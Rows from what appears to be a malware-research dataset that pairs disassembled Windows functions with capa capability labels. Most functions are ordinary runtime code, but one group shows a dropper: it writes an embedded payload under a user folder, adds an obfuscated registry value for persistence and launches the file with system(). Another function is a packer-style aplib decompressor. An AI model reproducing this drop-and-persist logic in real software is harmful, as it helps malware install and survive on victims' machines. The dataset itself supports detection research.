joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401461
Capabilities:
Parse pe header

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov rax, qword [0x0040a480]
mov dword [rax], 1
mov rax, qword [0x0040a490]
mov dword [rax], 1
mov rax, qword [0x0040a4a0]
mov dword [rax], 1
mov rax, qword [0x0040a470]
mov dword [rax], 1
mov rax, qword [0x0040a340]
mov qword [rbp - 8], rax
mov rax, qword [rbp - 8]
movzx eax, word [rax]
cmp ax, 0x5a4d
je 0x4014bf
mov eax, 0
jmp 0x40156c
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp - 8]
add rax, rdx
mov qword [rbp - 0x10], rax
mov rax, qword [rbp - 0x10]
mov eax, dword [rax]
cmp eax, 0x4550
je 0x4014eb
mov eax, 0
jmp 0x40156c
mov rax, qword [rbp - 0x10]
add rax, 0x18
mov qword [rbp - 0x18], rax
mov rax, qword [rbp - 0x18]
movzx eax, word [rax]
movzx eax, ax
cmp eax, 0x10b
je 0x401511
cmp eax, 0x20b
je 0x401538
jmp 0x401567
mov rax, qword [rbp - 0x18]
mov eax, dword [rax + 0x5c]
cmp eax, 0xe
ja 0x401524
mov eax, 0
jmp 0x40156c
mov rax, qword [rbp - 0x18]
mov eax, dword [rax + 0xd0]
test eax, eax
setne al
movzx eax, al
jmp 0x40156c
mov rax, qword [rbp - 0x18]
mov qword [rbp - 0x20], rax
mov rax, qword [rbp - 0x20]
mov eax, dword [rax + 0x6c]
cmp eax, 0xe
ja 0x401553
mov eax, 0
jmp 0x40156c
mov rax, qword [rbp - 0x20]
mov eax, dword [rax + 0xe0]
test eax, eax
setne al
movzx eax, al
jmp 0x40156c
mov eax, 0
nop
add rsp, 0x20
pop rbp
ret

Function at 0x4016d0
Capabilities:
Execute command

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
lea rcx, str.Physik_U_Pb.png
call sub.msvcrt.dll_system
nop
add rsp, 0x20
pop rbp
ret
Function at 0x4018c6
Capabilities:
Execute command
Get common file path

Disassembly:
push rbp
push rsi
push rbx
sub rsp, 0x130
lea rbp, [rsp + 0x80]
lea rax, [rbp - 0x60]
mov r9d, 0
mov r8d, 0x1a
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
call rax
test eax, eax
je 0x401a36
lea rax, [rbp - 0x60]
mov rcx, rax
call sub.msvcrt.dll_strlen
mov rbx, rax
lea rcx, str.V_dwVwq_kbf
call sub.msvcrt.dll_strlen
mov rsi, rax
lea rcx, [0x00404078]
call sub.msvcrt.dll_strlen
add rax, rsi
add rax, rax
add rbx, rax
lea rcx, str._wjw
call sub.msvcrt.dll_strlen
add rax, rbx
cmp rax, 0x104
ja 0x401a39
lea rax, [rbp - 0x60]
mov rdx, rax
lea rcx, [0x0040d040]
call sub.msvcrt.dll_strcat
lea rdx, [0x00404078]
lea rcx, [0x0040d040]
call sub.msvcrt.dll_strcat
lea rdx, str.V_dwVwq_kbf
lea rcx, [0x0040d040]
call sub.msvcrt.dll_strcat
lea rdx, [0x00404078]
lea rcx, [0x0040d040]
call sub.msvcrt.dll_strcat
lea rdx, str.V_dwVwq_kbf
lea rcx, [0x0040d040]
call sub.msvcrt.dll_strcat
lea rdx, str._wjw
lea rcx, [0x0040d040]
call sub.msvcrt.dll_strcat
lea rax, [rbp - 0x60]
mov rdx, rax
lea rcx, [0x0040d160]
call sub.msvcrt.dll_strcat
lea rdx, [0x00404078]
lea rcx, [0x0040d160]
call sub.msvcrt.dll_strcat
lea rdx, str.V_dwVwq_kbf
lea rcx, [0x0040d160]
call sub.msvcrt.dll_strcat
mov rcx, 0xffffffff80000002
call fcn.00401b1e
test eax, eax
jne 0x401a23
mov rcx, 0xffffffff80000001
call fcn.00401b1e
test eax, eax
jne 0x401a23
call fcn.00401c02
test eax, eax
je 0x401a3c
call fcn.00401a48
lea rcx, [0x0040d040]
call sub.msvcrt.dll_system
jmp 0x401a3d
nop
jmp 0x401a3d
nop
jmp 0x401a3d
nop
add rsp, 0x130
pop rbx
pop rsi
pop rbp
ret

Function at 0x401a48
Capabilities:
Create directory
Write file on windows

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x50
mov edx, 0
lea rcx, [0x0040d160]
mov rax, qword [sym.imp.KERNEL32.dll_CreateDirectoryA]
call rax
mov dword [rbp - 4], eax
cmp dword [rbp - 4], 0
jne 0x401a82
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
cmp eax, 0xb7
jne 0x401b11
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], pe_nt_image_headers64
mov dword [rsp + 0x20], 2
mov r9d, 0
mov r8d, 0
mov edx, 0x40000000
lea rcx, [0x0040d040]
mov rax, qword [sym.imp.KERNEL32.dll_CreateFileA]
call rax
mov qword [rbp - 0x10], rax
cmp qword [rbp - 0x10], 0xffffffffffffffff
je 0x401b14
mov rax, qword [0x0040a4c0]
mov eax, dword [rax]
mov edx, eax
mov rax, qword [rbp - 0x10]
mov qword [rsp + 0x20], 0
mov r9d, 0
mov r8d, edx
mov rdx, qword [0x0040a4b0]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WriteFile]
call rax
test eax, eax
je 0x401b17
mov rax, qword [rbp - 0x10]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
jmp 0x401b18
nop
jmp 0x401b18
nop
jmp 0x401b18
nop
add rsp, 0x50
pop rbp
ret
Function at 0x401b1e
Capabilities:
Set registry value

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x60
mov qword [rbp + 0x10], rcx
mov qword [rsp + 0x40], 0
lea rax, [rbp - 0x10]
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 2
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0
lea rdx, str.Atfes_wN_q_atfNEveaNQg__wfDw_aN_g
mov rcx, qword [rbp + 0x10]
mov rax, qword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
call rax
mov dword [rbp - 4], eax
cmp dword [rbp - 4], 0
je 0x401b85
mov eax, 0
jmp 0x401bfb
lea rcx, [0x0040d040]
call sub.msvcrt.dll_strlen
mov edx, eax
mov rax, qword [rbp - 0x10]
mov dword [rsp + 0x28], edx
lea rdx, [0x0040d040]
mov qword [rsp + 0x20], rdx
mov r9d, 1
mov r8d, 0
lea rdx, str.V_dwVwq_kbf
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
call rax
mov dword [rbp - 4], eax
cmp dword [rbp - 4], 0
je 0x401be6
mov rax, qword [rbp - 0x10]
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_RegCloseKey]
call rax
mov eax, 0
jmp 0x401bfb
mov rax, qword [rbp - 0x10]
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_RegCloseKey]
call rax
mov eax, 1
nop
add rsp, 0x60
pop rbp
ret

Function at 0x401fa0
Capabilities:
Write file on windows

Disassembly:
push rbp
push rbx
sub rsp, 0x38
lea rbp, [rsp + 0x30]
mov qword [rbp + 0x20], rcx
mov qword [rbp + 0x28], rdx
mov qword [rbp + 0x30], r8
mov qword [rbp + 0x38], r9
lea rax, [rbp + 0x28]
mov qword [rbp - 8], rax
mov ecx, 2
call fcn.00403310
mov r9, rax
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
call sub.msvcrt.dll_fwrite
mov rbx, qword [rbp - 8]
mov ecx, 2
call fcn.00403310
mov r8, rbx
mov rdx, qword [rbp + 0x20]
mov rcx, rax
call sub.msvcrt.dll_vfprintf
call sub.msvcrt.dll_abort
nop

Function at 0x402bb8
Capabilities:
Get thread local storage value

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x30
mov eax, dword [0x0040d368]
test eax, eax
je 0x402c46
lea rcx, [0x0040d340]
mov rax, qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
call rax
mov rax, qword [0x0040d370]
mov qword [rbp - 8], rax
jmp 0x402c2d
mov rax, qword [rbp - 8]
mov eax, dword [rax]
mov ecx, eax
mov rax, qword [sym.imp.KERNEL32.dll_TlsGetValue]
call rax
mov qword [rbp - 0x10], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
test eax, eax
jne 0x402c21
cmp qword [rbp - 0x10], 0
je 0x402c21
mov rax, qword [rbp - 8]
mov rdx, qword [rax + 8]
mov rax, qword [rbp - 0x10]
mov rcx, rax
call rdx
mov rax, qword [rbp - 8]
mov rax, qword [rax + 0x10]
mov qword [rbp - 8], rax
cmp qword [rbp - 8], 0
jne 0x402be7
lea rcx, [0x0040d340]
mov rax, qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
call rax
jmp 0x402c47
nop
add rsp, 0x30
pop rbp
ret
Function at 0x402d50
Capabilities:
Parse pe header

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov qword [rbp + 0x10], rcx
mov rax, qword [rbp + 0x10]
mov qword [rbp - 8], rax
mov rax, qword [rbp - 8]
movzx eax, word [rax]
cmp ax, 0x5a4d
je 0x402d78
mov eax, 0
jmp 0x402dc6
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp - 8]
add rax, rdx
mov qword [rbp - 0x10], rax
mov rax, qword [rbp - 0x10]
mov eax, dword [rax]
cmp eax, 0x4550
je 0x402da1
mov eax, 0
jmp 0x402dc6
mov rax, qword [rbp - 0x10]
add rax, 0x18
mov qword [rbp - 0x18], rax
mov rax, qword [rbp - 0x18]
movzx eax, word [rax]
cmp ax, 0x20b
je 0x402dc1
mov eax, 0
jmp 0x402dc6
mov eax, 1
nop
add rsp, 0x20
pop rbp
ret

Function at 0x402dcd
Capabilities:
Enumerate pe sections

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov qword [rbp + 0x10], rcx
mov qword [rbp + 0x18], rdx
mov rax, qword [rbp + 0x10]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp + 0x10]
add rax, rdx
mov qword [rbp - 0x18], rax
mov dword [rbp - 0xc], 0
mov rax, qword [rbp - 0x18]
movzx eax, word [rax + 0x14]
movzx edx, ax
mov rax, qword [rbp - 0x18]
add rax, rdx
add rax, 0x18
mov qword [rbp - 8], rax
jmp 0x402e4b
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0xc]
mov eax, eax
cmp qword [rbp + 0x18], rax
jb 0x402e42
mov rax, qword [rbp - 8]
mov edx, dword [rax + 0xc]
mov rax, qword [rbp - 8]
mov eax, dword [rax + 8]
add eax, edx
mov eax, eax
cmp qword [rbp + 0x18], rax
jae 0x402e42
mov rax, qword [rbp - 8]
jmp 0x402e60
add dword [rbp - 0xc], 1
add qword [rbp - 8], 0x28
mov rax, qword [rbp - 0x18]
movzx eax, word [rax + 6]
movzx eax, ax
cmp dword [rbp - 0xc], eax
jb 0x402e15
mov eax, 0
nop
add rsp, 0x20
pop rbp
ret
Function at 0x140653058
Capabilities:
Decompress data using aplib

Disassembly:
call 0x1406531df
push r10
mov r10, rsp
push r10
mov rsi, qword [r10 + 0x10]
mov rdi, qword [r10 + 0x20]
cld
mov dl, 0x80
mov al, byte [rsi]
inc rsi
mov byte [rdi], al
inc rdi
mov ebx, 2
add dl, dl
jne 0x140653089
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x14065306f
add dl, dl
jne 0x140653096
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x1406530f6
xor eax, eax
add dl, dl
jne 0x1406530a5
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x1406531ad
add dl, dl
jne 0x1406530b6
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1406530c3
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1406530d0
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1406530dd
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
je 0x1406530ea
push rdi
mov eax, eax
sub rdi, rax
mov al, byte [rdi]
pop rdi
mov byte [rdi], al
inc rdi
mov ebx, 2
jmp 0x14065307e
mov eax, 1
add dl, dl
jne 0x140653106
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x140653113
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x1406530fb
sub eax, ebx
mov ebx, 1
jne 0x14065314c
mov ecx, 1
add dl, dl
jne 0x14065312e
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x14065313b
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x140653123
push rsi
mov rsi, rdi
sub rsi, rbp
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x14065307e
dec eax
shl eax, 8
mov al, byte [rsi]
inc rsi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x140653168
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x140653175
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x14065315d
cmp eax, 0x7d00
jae 0x14065319b
cmp eax, 0x500
jb 0x140653196
inc ecx
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x14065307e
cmp eax, 0x7f
ja 0x14065319e
add ecx, 2
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x14065307e
mov al, byte [rsi]
inc rsi
xor ecx, ecx
shr al, 1
je 0x1406531d2
adc ecx, 2
mov ebp, eax
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
mov ebx, 1
jmp 0x14065307e
pop r10
sub rdi, qword [r10 + 0x20]
mov eax, edi
pop r10
ret 0x20
Function at 0x140001080
Capabilities:
Check os version

Disassembly:
sub rsp, 0x158
mov rax, qword [0x14001e020]
xor rax, rsp
mov qword [rsp + 0x140], rax
lea rcx, [rsp + 0x20]
xor edx, edx
mov r8d, 0x11c
call sub.MSVCR100.dll_memset
lea rcx, [rsp + 0x20]
mov dword [rsp + 0x20], 0x11c
call qword [sym.imp.KERNEL32.dll_GetVersionExW]
test eax, eax
jne 0x1400010f1
lea rcx, [rsp + 0x20]
mov dword [rsp + 0x20], 0x114
call qword [sym.imp.KERNEL32.dll_GetVersionExW]
test eax, eax
jne 0x1400010f1
mov rcx, qword [rsp + 0x140]
xor rcx, rsp
call fcn.1400133b0
add rsp, 0x158
ret
xor eax, eax
cmp dword [rsp + 0x24], 6
setae al
mov rcx, qword [rsp + 0x140]
xor rcx, rsp
call fcn.1400133b0
add rsp, 0x158
ret
Function at 0x140001df0
Capabilities:
Connect pipe
Read pipe
Write pipe

Disassembly:
push rbp
push rbx
push rdi
lea rbp, [rsp - 0x780]
sub rsp, 0x880
mov rax, qword [0x14001e020]
xor rax, rsp
mov qword [rbp + 0x770], rax
mov edi, dword [rcx + 0x24]
mov rbx, rcx
cmp edi, 1
jne 0x140001e26
xor eax, eax
jmp 0x14000202a
mov qword [rsp + 0x8b0], r12
xor r12d, r12d
lea rcx, [rsp + 0x60]
xor edx, edx
mov r8d, 0x400
mov dword [rsp + 0x40], r12d
mov qword [rsp + 0x50], r12
mov qword [rsp + 0x58], r12
call sub.MSVCR100.dll_memset
lea rcx, [rbp + 0x36c]
xor edx, edx
mov r8d, 0x400
mov qword [rbp + 0x360], r12
mov dword [rbp + 0x368], r12d
call sub.MSVCR100.dll_memset
cmp edi, 3
jne 0x140001f4e
mov rax, qword [rbx + 0xc0]
lea rdi, [rbx + 0xb0]
mov qword [rsp + 0x8a8], rsi
cmp qword [rdi + 0x18], 8
jb 0x140001e9d
mov rdi, qword [rdi]
lea esi, [rax + rax]
cmp esi, 0x400
ja 0x140001ef1
lea rcx, [rsp + 0x50]
xor edx, edx
mov r8d, 0x410
call sub.MSVCR100.dll_memset
mov dword [rsp + 0x50], 2
mov dword [rsp + 0x54], 1
mov dword [rsp + 0x58], 1
test rdi, rdi
je 0x140001ef1
lea rcx, [rsp + 0x60]
mov r9d, esi
mov r8, rdi
mov edx, 0x400
mov dword [rsp + 0x5c], esi
call qword [sym.imp.MSVCR100.dll_memcpy_s]
lea r8, [rbp + 0x360]
lea rdx, [rsp + 0x50]
xor r9d, r9d
mov rcx, rbx
call fcn.140002450
lea rcx, [rsp + 0x60]
xor edx, edx
mov r8d, 0x400
mov qword [rsp + 0x50], r12
mov qword [rsp + 0x58], r12
call sub.MSVCR100.dll_memset
lea rcx, [rbp + 0x36c]
xor edx, edx
mov r8d, 0x400
mov qword [rbp + 0x360], r12
mov dword [rbp + 0x368], r12d
call sub.MSVCR100.dll_memset
mov rsi, qword [rsp + 0x8a8]
cmp dword [rbx + 0x24], 3
jne 0x140001f67
cmp qword [rbx + 0xe8], r12
jne 0x140001f67
mov eax, 9
jmp 0x140002022
mov rcx, qword [rbx + 0x18]
call qword [sym.imp.KERNEL32.dll_SetEvent]
lea rcx, [rsp + 0x50]
xor edx, edx
mov r8d, 0x410
mov dword [rsp + 0x40], r12d
call sub.MSVCR100.dll_memset
lea rcx, [rsp + 0x60]
mov r9d, 8
mov r8, rbx
mov edx, 0x400
mov dword [rsp + 0x50], r12d
mov dword [rsp + 0x54], 1
mov dword [rsp + 0x58], 1
mov dword [rsp + 0x5c], 8
call qword [sym.imp.MSVCR100.dll_memcpy_s]
lea rcx, [rbx + 0xd8]
cmp qword [rcx + 0x18], 8
jb 0x140001fcf
mov rcx, qword [rcx]
lea rax, [rsp + 0x40]
mov dword [rsp + 0x30], r12d
lea r9, [rbp + 0x360]
mov qword [rsp + 0x28], rax
lea rdx, [rsp + 0x50]
mov r8d, 0x410
mov dword [rsp + 0x20], 0x40c
call qword [sym.imp.KERNEL32.dll_CallNamedPipeW]
mov rcx, qword [rbx + 0x60]
test rcx, rcx
je 0x140002020
mov edx, 0x7d0
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, qword [rbx + 0x60]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov qword [rbx + 0x60], r12
xor eax, eax
mov r12, qword [rsp + 0x8b0]
mov rcx, qword [rbp + 0x770]
xor rcx, rsp
call fcn.1400133b0
add rsp, 0x880
pop rdi
pop rbx
pop rbp
ret
Function at 0x140006a00
Capabilities:
Get thread local storage value

Disassembly:
push rdi
sub rsp, 0x40
mov qword [rsp + 0x20], 0xfffffffffffffffe
mov qword [rsp + 0x58], rbx
mov qword [rsp + 0x60], rbp
mov qword [rsp + 0x68], rsi
mov rdi, rcx
mov rsi, qword [rcx + 0x80]
add rsi, 8
mov qword [rsp + 0x28], rsi
mov rcx, rsi
call fcn.140012db0
mov dword [rsp + 0x30], 1
cmp qword [rdi + 0x98], 0
jbe 0x140006aa7
nop dword [rax + rax]
mov rbx, qword [rdi + 0x90]
mov rbx, qword [rbx]
mov rcx, qword [rbx + 0x18]
add rcx, 0x58
mov rax, qword [rcx]
call qword [rax + 0x10]
mov rcx, qword [rbx + 0x18]
add rcx, 0x58
mov rax, qword [rcx]
call qword [rax + 0x28]
mov rcx, qword [rbx + 0x18]
test rcx, rcx
je 0x140006a89
mov rax, qword [rcx]
mov edx, 1
call qword [rax]
mov r8, rbx
lea rdx, [rsp + 0x50]
lea rcx, [rdi + 0x88]
call fcn.140007350
cmp qword [rdi + 0x98], 0
ja 0x140006a50
mov rcx, rsi
mov rbx, qword [rsp + 0x58]
mov rbp, qword [rsp + 0x60]
mov rsi, qword [rsp + 0x68]
add rsp, 0x40
pop rdi
jmp fcn.140012df0
Function at 0x140012830
Capabilities:
Create thread

Disassembly:
push rbx
sub rsp, 0x30
mov rbx, rcx
mov ecx, 8
call fcn.14001344e
xor edx, edx
test rax, rax
je 0x14001284f
mov qword [rax], rdx
jmp 0x140012852
mov rax, rdx
mov qword [rsp + 0x28], rdx
mov dword [rsp + 0x20], edx
lea r8, [0x140012820]
xor edx, edx
mov r9, rbx
xor ecx, ecx
mov qword [rbx + 0x20], rax
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rcx, qword [rbx + 0x20]
mov qword [rcx], rax
add rsp, 0x30
pop rbx
ret

Function at 0x140012ab0
Capabilities:
Allocate thread local storage

Disassembly:
push rbx
sub rsp, 0x60
xor r9d, r9d
mov rbx, rcx
xor edx, edx
lea r8d, [r9 + 1]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateSemaphoreA]
mov qword [rbx], rax
call qword [sym.imp.KERNEL32.dll_TlsAlloc]
mov dword [rbx + 8], eax
test eax, eax
jne 0x140012b10
lea rax, vtable.RSException.0
lea rdx, str.unable_to_create_tls_index
lea rcx, [rsp + 0x28]
xor r9d, r9d
or r8, 0xffffffffffffffff
mov qword [rsp + 0x20], rax
call fcn.140010e50
lea rdx, [0x14001c640]
lea rcx, [rsp + 0x20]
call sub.MSVCR100.dll__CxxThrowException
int3
lea rcx, [rbx + 0x10]
call qword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
mov rax, rbx
add rsp, 0x60
pop rbx
ret

Function at 0x140012b30
Capabilities:
Set thread local storage value

Disassembly:
test rdx, rdx
je 0x140012b90
push rbx
sub rsp, 0x60
mov rbx, rcx
mov rcx, rdx
call qword [sym.imp.KERNEL32.dll_LocalFree]
mov ecx, dword [rbx + 8]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_TlsSetValue]
test eax, eax
jne 0x140012b8b
lea rax, vtable.RSException.0
lea rdx, str.unable_to_set_tls_value
lea rcx, [rsp + 0x28]
xor r9d, r9d
or r8, 0xffffffffffffffff
mov qword [rsp + 0x20], rax
call fcn.140010e50
lea rdx, [0x14001c640]
lea rcx, [rsp + 0x20]
call sub.MSVCR100.dll__CxxThrowException
int3
add rsp, 0x60
pop rbx
repz ret

Function at 0x140012ba0
Capabilities:
Get thread local storage value
Set thread local storage value

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x60
mov rdi, rcx
mov ecx, dword [rcx + 8]
call qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rbx, rax
test rax, rax
jne 0x140012c58
lea edx, [rax + 4]
lea ecx, [rax + 0x40]
call qword [sym.imp.KERNEL32.dll_LocalAlloc]
mov rbx, rax
test rax, rax
jne 0x140012c0c
lea rax, vtable.RSException.0
lea rdx, str.unable_to_create_tls_data
lea rcx, [rsp + 0x28]
xor r9d, r9d
or r8, 0xffffffffffffffff
mov qword [rsp + 0x20], rax
call fcn.140010e50
lea rdx, [0x14001c640]
lea rcx, [rsp + 0x20]
call sub.MSVCR100.dll__CxxThrowException
int3
mov dword [rax], 0
mov ecx, dword [rdi + 8]
mov rdx, rax
call qword [sym.imp.KERNEL32.dll_TlsSetValue]
test eax, eax
jne 0x140012c58
lea rax, vtable.RSException.0
lea rdx, str.unable_to_set_tls_value
lea rcx, [rsp + 0x28]
xor r9d, r9d
or r8, 0xffffffffffffffff
mov qword [rsp + 0x20], rax
call fcn.140010e50
lea rdx, [0x14001c640]
lea rcx, [rsp + 0x20]
call sub.MSVCR100.dll__CxxThrowException
int3
mov rax, rbx
mov rbx, qword [rsp + 0x70]
add rsp, 0x60
pop rdi
ret
Function at 0x140012cc0
Capabilities:
Get thread local storage value

Disassembly:
push rbx
sub rsp, 0x60
mov rbx, rcx
mov ecx, dword [rcx + 8]
call qword [sym.imp.KERNEL32.dll_TlsGetValue]
test rax, rax
jne 0x140012d0d
lea rax, vtable.RSException.0
lea rdx, str.likely_unbalanced_enter_exit_monitor_pair__extra_exit_
lea rcx, [rsp + 0x28]
xor r9d, r9d
or r8, 0xffffffffffffffff
mov qword [rsp + 0x20], rax
call fcn.140010e50
lea rdx, [0x14001c640]
lea rcx, [rsp + 0x20]
call sub.MSVCR100.dll__CxxThrowException
int3
dec dword [rax]
jne 0x140012d1c
mov rdx, rax
mov rcx, rbx
call fcn.140012b30
add rsp, 0x60
pop rbx
ret

Function at 0x140012d30
Capabilities:
Get thread local storage value

Disassembly:
push rbx
sub rsp, 0x60
mov rbx, rcx
mov ecx, dword [rcx + 8]
call qword [sym.imp.KERNEL32.dll_TlsGetValue]
test rax, rax
je 0x140012d77
cmp dword [rax], 0
jbe 0x140012d77
mov rcx, rbx
call fcn.140012cc0
mov ecx, dword [rbx + 8]
call qword [sym.imp.KERNEL32.dll_TlsGetValue]
test rax, rax
je 0x140012d67
cmp dword [rax], 0
jne 0x140012d71
lea rcx, [rbx + 0x10]
call qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
add rsp, 0x60
pop rbx
ret
lea rax, vtable.RSException.0
lea rdx, str.must_own_monitor_prior_to_calling_exit__
lea rcx, [rsp + 0x28]
xor r9d, r9d
or r8, 0xffffffffffffffff
mov qword [rsp + 0x20], rax
call fcn.140010e50
lea rdx, [0x14001c640]
lea rcx, [rsp + 0x20]
call sub.MSVCR100.dll__CxxThrowException
int3
mov rcx, qword [rcx + 8]
jmp 0x140012d30

Function at 0x140012db0
Capabilities:
Get thread local storage value

Disassembly:
push rbx
sub rsp, 0x20
mov rbx, qword [rcx + 8]
mov ecx, dword [rbx + 8]
call qword [sym.imp.KERNEL32.dll_TlsGetValue]
test rax, rax
je 0x140012dcd
cmp dword [rax], 0
jne 0x140012dd7
lea rcx, [rbx + 0x10]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rcx, rbx
call fcn.140012ba0
inc dword [rax]
add rsp, 0x20
pop rbx
ret

Function at 0x140012df0
Capabilities:
Get thread local storage value

Disassembly:
push rbx
sub rsp, 0x60
mov rbx, rcx
mov ecx, dword [rcx + 8]
call qword [sym.imp.KERNEL32.dll_TlsGetValue]
test rax, rax
je 0x140012d77
cmp dword [rax], 0
jbe 0x140012d77
mov rcx, rbx
call fcn.140012cc0
mov ecx, dword [rbx + 8]
call qword [sym.imp.KERNEL32.dll_TlsGetValue]
test rax, rax
je 0x140012d67
cmp dword [rax], 0
jne 0x140012d71
lea rcx, [rbx + 0x10]
call qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
add rsp, 0x60
pop rbx
ret
lea rax, vtable.RSException.0
lea rdx, str.must_own_monitor_prior_to_calling_exit__
lea rcx, [rsp + 0x28]
xor r9d, r9d
or r8, 0xffffffffffffffff
mov qword [rsp + 0x20], rax
call fcn.140010e50
lea rdx, [0x14001c640]
lea rcx, [rsp + 0x20]
call sub.MSVCR100.dll__CxxThrowException
int3
mov rcx, qword [rcx + 8]
jmp 0x140012d30
Function at 0x1400139bf
Capabilities:
Terminate process

Disassembly:
cmp rcx, qword [0x14001e020]
jne 0x1400133ca
rol rcx, 0x10
test cx, 0xffff
jne 0x1400133c6
repz ret
ror rcx, 0x10
jmp 0x140013918
mov qword [rsp + 8], rcx
sub rsp, 0x88
lea rcx, [0x14001e480]
call qword [sym.imp.KERNEL32.dll_RtlCaptureContext]
mov rax, qword [0x14001e578]
mov qword [rsp + 0x58], rax
xor r8d, r8d
lea rdx, [rsp + 0x60]
mov rcx, qword [rsp + 0x58]
call sub.KERNEL32.dll_RtlLookupFunctionEntry
mov qword [rsp + 0x50], rax
cmp qword [rsp + 0x50], 0
je 0x14001399d
mov qword [rsp + 0x38], 0
lea rax, [rsp + 0x48]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x40]
mov qword [rsp + 0x28], rax
lea rax, [0x14001e480]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0x50]
mov r8, qword [rsp + 0x58]
mov rdx, qword [rsp + 0x60]
xor ecx, ecx
call sub.KERNEL32.dll_RtlVirtualUnwind
jmp 0x1400139bf
mov rax, qword [rsp + 0x88]
mov qword [0x14001e578], rax
lea rax, [rsp + 0x88]
add rax, 8
mov qword [0x14001e518], rax
mov rax, qword [0x14001e578]
mov qword [0x14001e3f0], rax
mov rax, qword [rsp + 0x90]
mov qword [0x14001e500], rax
mov dword [0x14001e3e0], 0xc0000409
mov dword [0x14001e3e4], 1
mov rax, qword [0x14001e020]
mov qword [rsp + 0x68], rax
mov rax, qword [0x14001e028]
mov qword [rsp + 0x70], rax
call qword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
mov dword [0x14001e478], eax
mov ecx, 1
call sub.MSVCR100.dll___crt_debugger_hook
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
lea rcx, [0x140016a60]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
cmp dword [0x14001e478], 0
jne 0x140013a46
mov ecx, 1
call sub.MSVCR100.dll___crt_debugger_hook
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x88
ret
Function at 0x140002980
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x1400029ca
mov ecx, _set_app_type
cmp word [rax], cx
jne 0x1400029ca
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x1400029ca
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x1400029ca
cmp dword [rcx + 0x84], 0xe
jbe 0x1400029ca
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x1400029cc
xor al, al
add rsp, 0x28
ret